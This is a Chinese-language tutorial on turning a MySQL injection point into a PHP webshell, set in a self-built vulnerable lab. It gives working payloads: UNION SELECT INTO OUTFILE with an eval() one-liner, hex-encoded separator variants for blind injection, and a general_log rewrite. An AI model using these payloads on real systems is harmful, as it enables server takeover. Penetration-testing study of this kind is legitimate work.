MySQL注入點寫入WebShell的幾種方式

在工具化日益成熟的今天，手工注入的能力越來越被忽視了。當你掌握了一款工具的使用時，應更深入的去了解工具幫你做了什么，把工具所產生的影響控制在自己可控的范圍內。

比如：當面對一個MySQL注入點，通過使用SQLmap的--os-shell命令選項，便可輕松一鍵獲取Webshell，但是非正常退出時，便會在網站目錄中存留SQLmap臨時上傳的Webshell文件。

一個MySQL注入點寫入Webshell，需要滿足哪些條件呢？簡單來說，需要了解secure_file_priv是否支持數據導出、還有當前數據庫用戶權限，當然，root用戶數據庫的全部權限，但寫入Webshell 並不需要一定是root用戶。

接下來，本文將通過構造一個注入點，分享幾種Webshell寫入的技巧。

---

0x01 構造一個注入點

1、在默認數據庫test中創建測試表admin和測試數據，新建test用戶授予FILE權限。

create user 'test'@'localhost' identified by '123456';
grant file on *.* to 'test'@'localhost';

2、使用test用戶連接數據庫。

<?php
$con = mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);
......

0x02 寫入WebShell的幾種方式

1、利用Union select 寫入

這是最常見的寫入方式，union 跟select into outfile，將一句話寫入evil.php，僅適用於聯合注入。

具體權限要求：secure_file_priv支持web目錄文件導出、數據庫用戶File權限、獲取物理路徑。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符寫入

當Mysql注入點為盲注或報錯，Union select寫入的方式顯然是利用不了的，那么可以通過分隔符寫入。SQLMAP的 --os-shell命令，所采用的就是一下這種方式。

具體權限要求：secure_file_priv支持web目錄文件導出、數據庫用戶File權限、獲取物理路徑。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同樣的技巧，一共有四種形式：

?id=1 INTO OUTFILE '物理路徑' lines terminated by  （一句話hex編碼）#
?id=1 INTO OUTFILE '物理路徑' fields terminated by （一句話hex編碼）#
?id=1 INTO OUTFILE '物理路徑' columns terminated by （一句話hex編碼）#
?id=1 INTO OUTFILE '物理路徑' lines starting by    （一句話hex編碼）#

3、利用log寫入

新版本的MySQL設置了導出文件的路徑，很難在獲取Webshell過程中去修改配置文件，無法通過使用select into outfile來寫入一句話。這時，我們可以通過修改MySQL的log文件來獲取Webshell。

具體權限要求：數據庫用戶需具備Super和File服務器權限、獲取物理路徑。

show variables like '%general%';             #查看配置
set global general_log = on;                 #開啟general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #設置日志目錄為shell地址
select '<?php eval($_GET[g]);?>'             #寫入shell
set global general_log=off;                  #關閉general log模式